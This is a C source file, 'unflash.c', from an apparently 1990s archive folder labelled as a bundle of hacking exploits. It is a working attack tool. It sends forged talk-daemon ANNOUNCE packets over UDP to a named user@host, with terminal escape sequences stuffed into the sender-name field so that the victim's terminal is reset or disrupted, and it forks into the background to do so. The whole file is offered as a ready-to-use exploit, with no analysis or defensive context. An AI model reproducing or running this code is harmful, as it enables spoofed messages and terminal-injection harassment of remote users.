home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / unflash.c < prev    next >
C/C++ Source or Header  |  1997-02-10  |  4KB  |  187 lines
  1. /* unflash.c */
  2.  
  3.  
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netinet/in.h>
  7. #include <netdb.h>
  8. #include <stdio.h>
  9. #include <strings.h>
  10.  
  11. /* this should really be in an include file..  */
  12.  
  13. #define OLD_NAME_SIZE 9
  14. #define NAME_SIZE    12
  15. #define TTY_SIZE     16 
  16. typedef struct {
  17.     char    type;
  18.     char    l_name[OLD_NAME_SIZE];
  19.     char    r_name[OLD_NAME_SIZE];
  20.     char    filler;
  21.     u_long  id_num;
  22.     u_long  pid;
  23.     char    r_tty[TTY_SIZE];
  24.     struct  sockaddr_in addr;
  25.     struct  sockaddr_in ctl_addr;
  26. } OLD_MSG;
  27.  
  28. typedef struct {
  29.     u_char  vers;
  30.     char    type;
  31.     u_short filler;
  32.     u_long  id_num;
  33.     struct  sockaddr_in addr;
  34.     struct  sockaddr_in ctl_addr;
  35.     long    pid;
  36.     char    l_name[NAME_SIZE];
  37.     char    r_name[NAME_SIZE];
  38.     char    r_tty[TTY_SIZE];
  39. } CTL_MSG;
  40.  
  41. #define TALK_VERSION    1               /* protocol version */
  42.  
  43. /* Types */
  44. #define LEAVE_INVITE    0
  45. #define LOOK_UP         1
  46. #define DELETE          2
  47. #define ANNOUNCE        3
  48.  
  49. int     current = 1;    /* current id..  this to avoid duplications */
  50.  
  51. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  52. {
  53. static  struct sockaddr    addr;
  54. struct  sockaddr_in *address;
  55. struct  hostent     *host;
  56.  
  57. address = (struct sockaddr_in *)&addr;
  58. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  59. /* fill in the easy fields */
  60. address->sin_family = AF_INET;
  61. address->sin_port = htons(port);
  62. /* first, check if the address is an ip address */
  63. address->sin_addr.s_addr = inet_addr(hostname);
  64. if ( (int)address->sin_addr.s_addr == -1)
  65.     {
  66.     /* it wasn't.. so we try it as a long host name */
  67.     host = gethostbyname(hostname);
  68.     if (host)
  69.         {
  70.         /* wow.  It's a host name.. set the fields */
  71.         /* ?? address->sin_family = host->h_addrtype; */
  72.         bcopy( host->h_addr, (char *)&address->sin_addr,
  73.             host->h_length);
  74.         }
  75.     else
  76.         {
  77.         /* oops.. can't find it.. */
  78.         puts("Couldn't find address"); 
  79.         exit(-1);
  80.         return (struct sockaddr_in *)0;
  81.         }
  82.     }
  83. /* all done. */
  84. return (struct sockaddr_in *)address;
  85. }
  86.  
  87. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  88. {
  89. int     s;
  90. struct sockaddr sample; /* not used.. only to get the size */
  91.  
  92. s = socket(AF_INET, SOCK_DGRAM, 0);
  93. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  94. } 
  95.  
  96.  
  97. new_ANNOUNCE(char *hostname, char *remote, char *local)
  98. {
  99. CTL_MSG  packet; 
  100. struct   sockaddr_in  *address;
  101.  
  102. /* create a packet */
  103. address = getinaddr(hostname, 666 );  
  104. address->sin_family = htons(AF_INET); 
  105.  
  106. bzero( (char *)&packet, sizeof(packet) );
  107. packet.vers   = TALK_VERSION; 
  108. packet.type   = ANNOUNCE;   
  109. packet.pid    = getpid();
  110. packet.id_num = current;
  111. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  112. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  113. strncpy( packet.l_name, local, NAME_SIZE); 
  114. strncpy( packet.r_name, remote, NAME_SIZE); 
  115. strncpy( packet.r_tty, "", 1); 
  116.  
  117. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  118. }
  119.  
  120. old_ANNOUNCE(char *hostname, char *remote, char *local)
  121. {
  122. OLD_MSG  packet;
  123. struct   sockaddr_in  *address;
  124.  
  125. /* create a packet */
  126. address = getinaddr(hostname, 666 );
  127. address->sin_family = htons(AF_INET);
  128.  
  129. bzero( (char *)&packet, sizeof(packet) );
  130. packet.type   = ANNOUNCE;
  131. packet.pid    = getpid();
  132. packet.id_num = current;
  133. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  134. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  135. strncpy( packet.l_name, local, NAME_SIZE);
  136. strncpy( packet.r_name, remote, NAME_SIZE);
  137. strncpy( packet.r_tty, "", 1);
  138.  
  139. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  140. }
  141.  
  142. main(int argc, char *argv[])
  143. {
  144.     char    *hostname, *username; 
  145.     int     pid;
  146.  
  147.     if ( (pid = fork()) == -1)  
  148.         {
  149.         perror("fork()");
  150.         exit(-1);
  151.         }
  152.     if ( !pid )
  153.         {
  154.         exit(0);
  155.         }
  156.     if (argc < 2) { 
  157.         puts("Usage: <finger info> ");
  158.         exit(5);
  159.     }
  160.     username = argv[1]; 
  161.     if ( (hostname = (char *)strchr(username, '@')) == NULL )       
  162.         {
  163.         puts("Invalid name.  ");
  164.         exit(-1);
  165.         }
  166.     *hostname = '\0'; 
  167.     hostname++; 
  168.  
  169.     if (*username == '~') 
  170.         username++; 
  171.  
  172. #define FIRST "\033c"
  173. #define SECOND "\033[0;24r"
  174. #define THIRD  "\033[0m\033[?5l"
  175. #define FOURTH " HIT CNTL-L!"            
  176.     new_ANNOUNCE(hostname, username, FIRST);
  177.     current++; 
  178.     new_ANNOUNCE(hostname, username, SECOND);
  179.     current++;
  180.     new_ANNOUNCE(hostname, username, THIRD); 
  181.     current++;
  182.         new_ANNOUNCE(hostname, username, FOURTH);
  183.         current++;
  184. }
  185.  
  186.  
  187.